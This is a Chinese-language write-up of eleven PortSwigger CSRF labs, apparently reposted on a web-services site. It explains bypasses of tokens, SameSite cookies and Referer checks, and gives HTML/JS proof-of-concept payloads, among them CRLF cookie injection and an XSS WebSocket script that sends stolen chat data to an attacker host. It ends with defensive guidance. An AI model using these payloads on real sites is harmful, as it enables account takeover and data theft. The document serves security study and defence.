CSRF防御机制深度解析:从Token绕过到SameSite Cookie实战
2026/8/10 9:36:28 网站建设 项目流程

1. 项目概述:从靶场实战看CSRF防御的脆弱性

CSRF,跨站请求伪造,一个听起来有点老生常谈的Web安全漏洞。很多开发者,甚至是一些安全从业者,都认为只要给表单加个Token,或者检查一下Referer头,就能高枕无忧了。但现实真的如此吗?PortSwigger的Web安全学院(也就是大家常说的BP靶场)专门设计了一系列CSRF实验室,它们像是一面镜子,清晰地照出了那些看似坚固的防御措施背后,隐藏着多少种被绕过的可能性。这11个靶场,从最基础的“无防御”状态,一步步升级到需要结合SameSite Cookie策略、客户端重定向甚至跨站WebSocket劫持(CSWSH)才能攻破的复杂场景,完整地勾勒出了一条攻击者视角下的“破防”路径。

我花了相当一段时间,逐个通关了这些靶场。整个过程下来,最大的感触是:安全防御从来不是“加个开关”那么简单。每一个防御机制,无论是Token验证的逻辑、Cookie的SameSite属性,还是Referer检查的严格程度,如果设计时考虑不周、实现时存在瑕疵,都可能为攻击者留下一道“后门”。这篇文章,我就以一个实战参与者的身份,带你深入拆解这11种绕过姿势。我不会只给你一个最终的Payload,而是会详细还原我当时的思考过程、测试步骤,以及遇到坑点时是如何调整策略的。无论你是正在学习Web安全的初学者,还是想巩固CSRF攻防知识的安全工程师,相信这些从靶场中提炼出的“花式”技巧和背后的原理分析,都能给你带来新的启发。

2. 核心思路拆解:理解防御机制与攻击本质

在开始逐个击破之前,我们必须先统一思想:CSRF攻击的核心是什么?防御的核心又是什么?只有理解了这两点,我们才能看懂每一种绕过手法的精妙之处。

2.1 CSRF攻击的本质:冒用身份执行非授权操作

简单来说,CSRF就是攻击者诱骗已经登录了目标网站(例如银行网站)的用户,去访问一个恶意页面。这个恶意页面会携带用户的身份凭证(通常是Cookie),向目标网站发起一个用户不知情的请求(比如转账)。因为浏览器会自动携带该站点的Cookie,服务器看到这个带有合法会话的请求,就会认为是用户本人发起的,从而执行操作。

攻击成立需要几个关键条件:

  1. 用户已登录并持有有效的会话凭证(Cookie、Session ID等)。
  2. 网站存在可以被预测或伪造的敏感操作端点(如修改邮箱、转账的API)。
  3. 该端点缺乏足够且正确的验证机制来区分请求是来自用户本意还是伪造的。

2.2 主流防御机制及其潜在弱点

靶场中涉及的防御机制,正是业界常见的几种方案,但每一种都有其“命门”:

  1. CSRF Token(令牌):这是最经典的防御。服务器在渲染表单时生成一个随机、不可预测的Token,嵌入表单隐藏域。提交时,服务器验证这个Token是否与当前会话绑定的Token一致。弱点在于:Token的生成、存储、验证逻辑是否严谨?是否与会话强绑定?是否检查了请求方法?
  2. SameSite Cookie属性:这是一个浏览器端的防御机制。通过设置Cookie的SameSite属性为LaxStrict,可以限制Cookie在跨站请求时是否被发送。
    • Strict:最严格,完全禁止跨站携带Cookie。
    • Lax:相对宽松,允许在顶级导航(如点击链接)的GET请求中携带Cookie。
    • 弱点在于:浏览器的实现、特定场景下的“链式”请求,以及SameSite=None(必须配合Secure)的配置错误。
  3. 验证Referer/Origin头:服务器检查HTTP请求头中的Referer(来源页)或Origin(来源域),判断请求是否来自本站点。弱点在于:Referer头可能被浏览器策略(如Referrer-Policy)抑制、被篡改,或者后端验证逻辑存在缺陷(如字符串包含检查而非严格域名匹配)。
  4. 自定义请求头:要求敏感操作(如POST)必须携带一个自定义的HTTP头(如X-Requested-With: XMLHttpRequest)。因为浏览器同源策略限制,攻击者无法通过<form><img>标签跨域添加自定义头。弱点在于:如果网站同时支持非Ajax的普通表单提交,此防御可能失效。

PortSwigger的靶场巧妙之处在于,它并没有直接否定这些机制,而是假设它们“存在但有问题”。我们的任务,就是找到这些问题所在。

2.3 攻击者的核心思路:寻找验证逻辑的“缝隙”

面对一道CSRF题目,我的通用解题思路是这样的:

  1. 信息收集与基线测试:首先正常登录,完成一次目标操作(如修改邮箱),用Burp Suite抓包。观察请求中包含了哪些防御元素(Token、Cookie的SameSite属性、Referer头)。
  2. 假设与验证:根据题目描述或观察,提出一个关于防御机制如何工作的假设。例如:“Token是否验证了请求方法?”、“删除Referer头会怎样?”。
  3. 控制变量测试:在Repeater中修改请求的单个变量(只改Token、只改方法、只删Referer),观察服务器的响应。成功的绕过往往源于验证逻辑的不完整,比如只验证POST请求的Token,不验证GET请求。
  4. 构造攻击向量:一旦找到绕过方法,就需要构造一个能在受害者浏览器中自动发起的攻击。通常使用一个隐藏的HTML表单,通过JavaScript自动提交(document.forms[0].submit())。对于更复杂的场景,可能需要利用<img>标签触发GET请求,或者通过JavaScript进行客户端重定向。
  5. 利用漏洞服务器:PortSwigger靶场提供了一个“漏洞服务器”(Exploit Server),用于托管我们的恶意HTML页面,并模拟攻击者向受害者(模拟用户)发送链接的过程。

实操心得:不要一上来就想复杂的绕过。很多时候,最简单的测试就能发现漏洞,比如直接删除Token参数、将POST改为GET。养成“先测试最明显假设”的习惯,能节省大量时间。

3. 11种绕过姿势的深度解析与实战复现

下面,我将按照从易到难、从逻辑缺陷到组合利用的顺序,详细拆解这11个靶场。我会提供具体的操作步骤、关键的Burp截图分析点(用文字描述替代),以及核心的Payload构造思路。

3.1 无防御的CSRF漏洞

这是最基础的关卡,旨在建立信心和熟悉流程。

场景:一个修改邮箱的功能,没有任何Token、Referer检查或SameSite限制。

攻击过程

  1. 登录账户,进入修改邮箱页面,提交修改并抓包。你会发现请求就是一个简单的POST,包含emailsubmit参数,Cookie中带有会话。
  2. 在Burp Suite的Proxy历史记录中,右键该请求,选择Engagement tools -> Generate CSRF PoC。Burp会自动生成一个包含隐藏表单和自动提交脚本的HTML页面。
  3. 将生成的HTML代码复制到漏洞服务器的Body部分,点击“Store”保存,再点击“Deliver exploit to victim”发送给模拟受害者。
  4. 攻击成功,受害者的邮箱被修改。

核心Payload分析

<html> <body> <form action="https://vulnerable-website.com/email/change" method="POST"> <input type="hidden" name="email" value="attacker@evil.com" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); // 可选,用于清除地址栏中的查询参数,使攻击更隐蔽 document.forms[0].submit(); </script> </body> </html>

这个Payload就是CSRF攻击的“教科书”示例。history.pushState是为了让地址栏看起来更“干净”,避免受害者警觉。

3.2 令牌验证取决于请求方法

场景:网站使用了CSRF Token,但它的验证逻辑有缺陷:只对POST请求进行Token验证,对GET请求则不验证

攻击过程

  1. 正常抓取修改邮箱的POST请求,发现请求体中包含csrf参数。
  2. 在Repeater中尝试修改csrf的值,请求被拒绝,说明Token验证是生效的。
  3. 关键测试:将请求方法从POST改为GET,同时将参数移到URL查询字符串中(?email=attacker@evil.com&csrf=wrongtoken&submit=1)。发送请求。
  4. 发现请求成功了!这说明后端逻辑可能是:if (request.method == "POST") { validateToken(); }。对于GET请求,它直接放行了。
  5. 因此,攻击Payload只需要构造一个GET请求即可。可以使用<img src=”…”>标签,或者将表单的method改为GET

构造GET请求的Payload

<img src="https://vulnerable-website.com/email/change?email=attacker@evil.com&submit=1" onerror="document.forms[0].submit()">

这里用了一个小技巧:<img>标签的src属性会发起一个GET请求。我们把它指向修改邮箱的URL。由于这个URL通常不会返回图片,所以会触发onerror事件,进而提交下面的表单(如果有的话)。更直接的方式是只用一个<img>标签,只要请求发出,即使加载失败,目的也已达到。

注意事项:使用<img>标签触发GET请求是CSRF攻击的常见手法,但要注意目标端点是否对GET请求敏感操作做了防护(如要求POST)。这个靶场正是利用了这个“防护不一致”的漏洞。

3.3 令牌验证取决于令牌是否存在

场景:网站的Token验证逻辑是:只要请求中有csrf参数,就验证其值;如果根本没有这个参数,则跳过验证

攻击过程

  1. 抓取正常请求,尝试修改csrf参数的值,请求被拒。
  2. 关键测试:在Repeater中,直接删除整个csrf参数(而不仅仅是修改它的值)。发送请求。
  3. 请求成功!这说明验证函数可能类似于:if (‘csrf’ in request.params) { validateToken(); }
  4. 因此,攻击Payload在生成后,需要手动编辑HTML,删除表单中那个隐藏的<input type=”hidden” name=”csrf” …>标签

Payload修改关键: 使用Burp生成PoC后,你会得到包含Token的表单。你需要手动移除类似下面这行:

<input type=”hidden” name=”csrf” value=”abc123def456″ />

让表单只提交emailsubmit参数。这样,当表单提交时,请求体中就不会包含csrf字段,从而绕过验证。

3.4 令牌与用户会话不绑定

场景:网站使用了Token,但Token没有与当前用户的会话(Session)绑定。这意味着,只要是一个有效的Token(无论来自哪个用户),都可以通过验证。

攻击过程

  1. 靶场提供了两个账户:wienercarlos
  2. wiener账户登录,修改邮箱,抓包获取一个当前有效的Token(记作Token_A)。
  3. 保持wiener页面不动,在另一个浏览器或标签页登录carlos账户。
  4. carlos的会话中,尝试修改邮箱并抓包。在Repeater中,将carlos请求中的csrf参数值,替换为刚才从wiener那里获取的Token_A
  5. 发送请求,发现carlos的邮箱也被成功修改了。这说明服务器只验证Token本身的有效性(是否由服务器签发且在有效期内),而不验证这个Token是否属于当前发起请求的会话。

攻击利用: 攻击者可以自己先注册或登录一个账户,获取一个合法的Token。然后,在针对受害者的CSRF攻击Payload中,就使用这个Token。因为Token不与会话绑定,所以受害者的浏览器会用这个Token发起请求,服务器会认为是有效的。

实操心得:这种漏洞非常危险,因为它使得Token完全失去了防御意义。在开发中,Token必须与用户会话ID(Session ID)在服务器端进行强关联存储和校验。

3.5 将令牌与非会话Cookie绑定

场景:这个场景稍微复杂。网站引入了第二个Cookie,例如csrfKey。服务器验证Token时,不仅检查Token本身,还检查Token是否与当前请求中的csrfKey这个Cookie的值相匹配。但问题在于,csrfKey这个Cookie也没有和用户会话绑定

攻击过程

  1. 再次使用两个账户wienercarlos
  2. 观察carlos修改邮箱的请求,除了会话Cookie,还有一个csrfKey=xyz789的Cookie,请求体中包含csrf=abc123
  3. 假设我们推测Token的验证逻辑是:csrf必须与csrfKey配对。
  4. 我们需要为受害者carlos同时准备一个有效的Token和与之配对的csrfKey。从哪里来?从攻击者自己的账户wiener那里。
  5. 登录wiener,抓取其修改邮箱的请求,获取其csrfKey=wiener_keycsrf=wiener_token这对组合。
  6. 构造针对carlos的CSRF攻击Payload。这个Payload需要做两件事:
    • 发起一个请求,为carlos的浏览器设置Cookie:csrfKey=wiener_key
    • 然后提交表单,表单中包含csrf=wiener_token

如何设置受害者的Cookie?这利用了HTTP响应头注入或Cookie投毒的技术。假设目标网站有一个搜索功能,搜索关键词会反射回响应页面,且没有正确过滤换行符\r\n

  1. 我们构造一个搜索请求,关键词为:test\r\nSet-Cookie: csrfKey=wiener_key。(%0d%0a是URL编码后的\r\n)。
  2. 当受害者访问这个恶意搜索链接时,服务器返回的HTTP响应头中就会包含我们注入的Set-Cookie: csrfKey=wiener_key,从而在受害者浏览器中设置了这个Cookie。
  3. 紧接着,页面中的CSRF表单(携带csrf=wiener_token)被自动提交。此时请求中,Cookie里有了csrfKey=wiener_key,表单数据里有csrf=wiener_token,配对成功,绕过验证。

Payload构造思路(需结合具体漏洞点): 攻击页面可能包含一个自动加载的图片,其src指向那个能注入Cookie的搜索URL,然后通过JavaScript延迟提交表单。

<img src="https://vulnerable-website.com/search?term=test%0d%0aSet-Cookie:%20csrfKey=wiener_key" style="display:none;"> <script> setTimeout(function() { document.forms[0].submit(); }, 1000); </script> <form method="POST" action="https://vulnerable-website.com/email/change"> <input type="hidden" name="email" value="attacker@evil.com"> <input type="hidden" name="csrf" value="wiener_token"> </form>

3.6 Cookie中存在重复的Token(双重提交缺陷)

场景:网站采用了“双重提交Cookie”的防御模式。除了在表单中提交Token,服务器还会在HTTP响应中设置一个同名的Cookie(例如csrf=token_value)。后端验证时,只检查请求参数中的Token和请求头Cookie中的Token值是否相等,而不验证这个Token是否与当前会话相关。

攻击过程

  1. 正常操作抓包。你会发现响应头里有一个Set-Cookie: csrf=abc123,同时表单里也有一个<input name=”csrf” value=”abc123″>
  2. 在Repeater中测试:只修改表单中的csrf值,请求失败;只修改Cookie头中的csrf值,请求也失败;但同时将两者修改为相同的另一个值(如hacked),请求成功
  3. 这证实了验证逻辑:if (request.cookies[‘csrf’] == request.params[‘csrf’]) { pass }

攻击利用: 攻击者需要让受害者的浏览器在发起恶意请求时,其Cookie中携带一个与表单Token值相同的csrfCookie。

  1. 攻击者先决定一个Token值,例如hacked
  2. 构造CSRF表单,其中的Token值设为hacked
  3. 在攻击页面中,需要先让受害者浏览器收到一个Set-Cookie: csrf=hacked的响应。这可以通过加载一个攻击者控制的、能设置Cookie的第三方资源,或者利用目标站点的另一个设置Cookie的端点(且该端点不验证来源)来实现。
  4. 在PortSwigger靶场中,通常可以利用一个未受保护的路径,通过<img>标签加载,并在响应中注入Set-Cookie头。攻击Payload的核心是确保设置Cookie的请求先于提交表单的请求发生。

关键技巧:由于浏览器对跨域设置Cookie有严格限制(需要SameSite=NoneSecure),这种攻击在实际中往往需要结合目标站点的其他子域漏洞或配置错误才能实现。靶场简化了这个条件。

3.7 通过方法覆盖绕过SameSite Lax

场景:网站没有使用Token,但会话Cookie被设置为SameSite=Lax(或默认行为)。根据Lax的规则,浏览器会在顶级导航的GET请求中发送Cookie。然而,修改邮箱的操作要求是POST请求,而跨站的POST请求不会携带Lax的Cookie。

绕过思路:我们需要将一次跨站请求,“伪装”成一次顶级导航的GET请求。这里用到了HTTP的方法覆盖(Method Override)技巧。有些Web框架(如Express.js的method-override中间件)支持通过查询参数(如_method=POST)或请求头(如X-HTTP-Method-Override: POST)来覆盖实际的HTTP方法。

攻击过程

  1. 确认目标操作端点支持方法覆盖。通常可以通过发送一个GET请求,但带上_method=POST参数来测试。
  2. 在靶场中,我们发现向/email/change?email=attacker@evil.com&_method=POST发起GET请求,等同于发起POST请求。
  3. 由于这是一个由<img>标签或地址栏导航发起的GET请求,且属于顶级导航,浏览器会携带SameSite=Lax的Cookie。
  4. 服务器端接收到这个GET请求后,因为_method=POST参数,将其当作POST请求处理,从而执行了修改邮箱的操作。

Payload构造

<img src="https://vulnerable-website.com/email/change?email=attacker@evil.com&_method=POST&submit=1">

一个简单的<img>标签即可完成攻击。当受害者访问恶意页面时,浏览器会尝试加载这个“图片”,实际上发起了一个携带会话Cookie的GET请求,并由于方法覆盖,成功执行了POST操作。

3.8 通过客户端重定向绕过SameSite Strict

场景:会话Cookie被设置为SameSite=Strict。这是最强的限制,任何跨站请求都不会携带Cookie。但是,如果用户在目标网站内部发起导航,Cookie是会被携带的。

绕过思路:我们需要制造一种场景,让受害者“主动”在目标网站内部发起导航。客户端重定向(Client-side Redirect)给了我们机会。如果目标网站存在一个开放重定向漏洞,或者有一个使用JavaScript进行重定向的页面(例如“评论提交成功,3秒后返回”),并且这个重定向的目标地址我们可以控制,那么攻击链就成立了。

攻击过程

  1. 在靶场中,我们发现发表博客评论后,会跳转到/post/comment/confirmation?postId=X,该页面通过JavaScript(commentConfirmationRedirect.js)在几秒后重定向回博客页面。
  2. 我们尝试修改postId参数,利用路径遍历:/post/comment/confirmation?postId=1/../../my-account。发现成功重定向到了用户的账户页面,并且浏览器携带了Strict的Cookie,因为这次重定向被视为站内导航链的一部分。
  3. 进一步,我们发现修改邮箱的端点也接受GET请求(/my-account/change-email?email=attacker@evil.com&submit=1)。
  4. 因此,最终的攻击链是:诱导受害者访问我们控制的恶意页面 -> 该页面通过JavaScript(如document.location)将用户导航到目标站点的重定向端点,并指向修改邮箱的URL -> 浏览器将其视为一次站内导航链,携带Cookie -> 重定向发生,GET请求修改邮箱。

Payload构造: 恶意页面包含如下脚本:

<script> document.location = "https://vulnerable-website.com/post/comment/confirmation?postId=1/../../my-account/change-email?email=attacker@evil.com%26submit=1"; </script>

这里%26&的URL编码,用于确保整个字符串作为postId参数的值传递给重定向端点,重定向后的目标URL会将其解析为新的查询字符串。

3.9 通过同级域绕过SameSite Strict

场景:同样是SameSite=Strict,但目标站点存在一个同级域(或叫兄弟域,Sibling Domain),例如主站是www.vulnerable-website.com,存在一个cms.vulnerable-website.com。浏览器的SameSite规则是基于“有效顶级域名+1”(eTLD+1)的。wwwcms属于同一个eTLD+1(vulnerable-website.com),因此它们之间的请求在特定条件下不被视为严格的“跨站”。

攻击过程(此关卡结合了CSWSH):

  1. 目标是一个在线聊天应用,使用WebSocket,Cookie为Strict
  2. 我们发现存在一个同级域cms.vulnerable-website.com,并且其登录功能存在反射型XSS漏洞。
  3. 核心思路:由于Strict限制,直接从攻击者网站evil.com发起WebSocket连接到主站,不会携带Cookie。但是,如果攻击发生在cms子域上,由于是同站(Same-Site),Cookie会被携带。
  4. 我们利用cms子域的XSS漏洞,注入一个恶意脚本。当受害者访问我们构造的cms子域链接时,XSS脚本在其浏览器中(cms子域的上下文中)执行。
  5. 该脚本从cms子域内部,向主站的WebSocket端点(wss://www.../chat)发起连接。因为是从cms.vulnerable-website.comwww.vulnerable-website.com,属于同站请求,Strict的Cookie会被发送,连接建立成功。
  6. 脚本通过WebSocket窃取聊天记录并外传。

Payload构造(简化版): 攻击者诱导受害者访问一个URL,该URL触发cms子域的XSS:

https://cms.vulnerable-website.com/login?username=<script>var ws = new WebSocket('wss://www.vulnerable-website.com/chat'); ws.onopen=function(){ws.send('READY');}; ws.onmessage=function(e){fetch('https://attacker-server.com/leak?data='+btoa(e.data));};</script>&password=any

当受害者(已登录主站)访问此链接,cms子域的页面会执行脚本,脚本在同站环境下建立WebSocket连接并窃取数据。

注意事项:这种攻击非常巧妙,它利用了“同站”与“跨站”定义的细微差别。对于关键业务,应考虑将不同功能的子域彻底隔离(使用不同的顶级域名),或对所有子域应用严格的CORS和Cookie策略。

3.10 通过Cookie刷新绕过SameSite Lax

场景:Cookie为SameSite=Lax,且操作需要POST请求,无法用方法覆盖(可能端点不支持)。但网站提供了OAuth社交登录功能,登录后会刷新用户的会话Cookie

绕过思路SameSite=Lax允许在顶级导航的GET请求中发送Cookie。如果我们能诱使受害者的浏览器先发起一个GET请求来刷新(重新设置)Cookie,然后立即发起CSRF攻击,那么攻击请求就有可能携带上这个新刷新的Cookie。关键在于,刷新Cookie的请求和CSRF请求需要紧密接连,且属于同一个“导航会话”。

攻击过程

  1. 构造一个恶意页面,该页面包含一个隐藏的iframe或通过window.open打开一个新标签页,指向目标网站的OAuth登录入口(如/social-login)。
  2. 如果受害者之前已经授权过该OAuth应用,访问此入口可能会无感地刷新其会话Cookie。
  3. 在恶意页面中,使用setTimeout延迟几秒后,自动提交CSRF表单。
  4. 理想情况下,刷新Cookie的请求完成后,紧接着的CSRF请求就能带上新的有效Cookie。

Payload构造

Click anywhere on the page to see a funny cat video! <script> window.onclick = () => { // 打开新标签页触发OAuth流程,刷新会话Cookie window.open('https://vulnerable-website.com/social-login'); // 等待几秒,确保Cookie刷新完成 setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script> <form method="POST" action="https://vulnerable-website.com/email/change"> <input type="hidden" name="email" value="attacker@evil.com"> </form>

这里通过要求用户点击来绕过浏览器的弹窗拦截,并建立用户交互的上下文,使得后续的请求链更可能被浏览器视为相关。

3.11 Referer验证的两种绕过

这两种场景展示了Referer头验证的常见缺陷。

场景一:验证取决于标头是否存在漏洞逻辑:服务器检查Referer头,但如果请求中根本没有Referer,则予以放行。这可能是因为代码逻辑是:if (referer && !referer.startsWith(‘https://trusted-domain.com’)) { block(); }。当referernull或空时,条件不成立,请求通过。

攻击:抑制Referer头的发送。可以通过在HTML页面中添加<meta name=”referrer” content=”no-referrer”>标签,或者使用Fetch API并设置referrerPolicy: ‘no-referrer’。对于传统的表单提交,有些浏览器行为或旧式标签(如<img>)也可能在某些情况下不发送Referer。Burp生成的PoC通常自带<meta>标签来抑制Referer。

场景二:损坏的Referer验证漏洞逻辑:服务器验证Referer头中是否包含预期的域名字符串(如web-security-academy.net),而不是检查它是否等于该域名开头。这属于字符串包含检查的缺陷。

攻击:构造一个Referer头,其中包含目标域名,但该域名不是真正的来源。例如,攻击者可以将恶意页面托管在https://attacker.com/?web-security-academy.net。当受害者从这个页面提交表单时,Referer头可能是https://attacker.com/?web-security-academy.net。这个字符串包含了web-security-academy.net,通过了后端简单的contains()检查,从而绕过验证。

Payload构造关键:在Burp生成PoC后,需要修改表单的actionURL或使用history.pushState,在当前页面的URL后附加目标域名作为查询参数或片段。

<script> history.pushState('', '', '/?web-security-academy.net'); </script> <form method="POST" action="https://vulnerable-website.com/email/change"> ... </form>

同时,在HTML的<head>中添加<meta name=”referrer” content=”unsafe-url”>,确保完整的URL(包含查询参数?web-security-academy.net)被作为Referer发送。

4. 实战中的排查技巧与防御建议

走完这11个靶场,相当于经历了一次完整的CSRF攻防演练。在实际的安全测试或代码审计中,我们可以借鉴这些思路。

4.1 攻击视角的排查清单

当面对一个可能存在CSRF漏洞的功能点时,可以按以下清单进行测试:

  1. 基础测试:尝试删除Token、将POST改为GET、删除Referer头。这是最快发现低级漏洞的方法。
  2. Token逻辑测试
    • Token是否与会话绑定?用两个账户交换Token测试。
    • Token是否一次性使用?重复使用同一个Token看是否被拒绝。
    • Token验证是否依赖请求方法?分别用GET/POST测试。
    • Token是否在Cookie中重复?检查请求和响应的Cookie。
  3. Cookie策略检查:检查关键Cookie的SameSite属性。如果是Lax,尝试用方法覆盖或Cookie刷新绕过。如果是Strict,寻找站内重定向或同级域漏洞。
  4. Referer/Origin检查
    • 删除该头。
    • 修改该头为错误值、空值、其他域名。
    • 尝试在该头中嵌入目标域名(字符串包含绕过)。
    • 测试Origin头(用于CORS)是否被用作备用检查,以及其验证逻辑。
  5. 寻找辅助漏洞:检查是否有设置Cookie的端点存在CRLF注入,是否有开放重定向,是否有同级域的XSS等,这些都可能成为绕过CSRF防御的跳板。

4.2 开发者视角的防御铁律

从这些绕过案例中,我们可以总结出真正有效的CSRF防御最佳实践:

  1. 使用同步器令牌模式(Synchronizer Token Pattern)
    • 生成强随机数:Token必须是加密学安全的随机数,足够长且不可预测。
    • 与会话强绑定:在服务器端,将Token与当前用户的会话ID关联存储(如保存在Session中)。
    • 每个表单/会话唯一:最好每个敏感表单生成独立的Token,或定期刷新。
    • 严格验证:对于任何改变状态的请求(POST, PUT, DELETE, PATCH),必须验证Token是否存在、是否有效、是否与当前会话匹配。验证逻辑要完整,无论请求方法如何。
  2. 正确实施SameSite Cookie
    • 对于会话Cookie,默认设置为SameSite=Lax是良好的平衡。对于需要跨站使用的Cookie(如第三方登录状态),必须显式设置为SameSite=None; Secure
    • 理解LaxStrict的语义,避免关键操作仅依赖GET请求。
  3. 谨慎使用Referer/Origin验证
    • 仅作为补充防御,而非主要手段,因为其可靠性受浏览器环境和用户配置影响。
    • 如果使用,必须进行严格的全等匹配白名单前缀匹配,避免使用不安全的字符串包含检查。
    • 处理Referer头缺失的情况,应默认拒绝而非放行。
  4. 启用框架防护:使用X-Frame-Options: DENYContent-Security-Policy: frame-ancestors ‘none’来防止页面被嵌入到iframe中,这可以增加点击劫持和某些CSRF攻击的难度。
  5. 对敏感操作要求二次验证:对于关键操作(如修改密码、转账),引入密码、短信验证码、生物识别等二次验证,这能从本质上防御CSRF。
  6. 避免使用GET请求进行状态更改:严格遵守HTTP语义,GET请求应是幂等的、安全的。所有改变数据的操作都应使用POST、PUT、DELETE等方法。

CSRF是一个经典的“逻辑漏洞”,它的防御不在于使用了多么高深的技术,而在于每一个细节是否都考虑周全、实现严谨。PortSwigger的这11个靶场,就像11个精心设计的谜题,解开它们的过程,正是对我们安全思维的一次绝佳训练。下次当你看到表单里的那个CSRF Token时,不妨多想一步:它,真的安全吗?

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询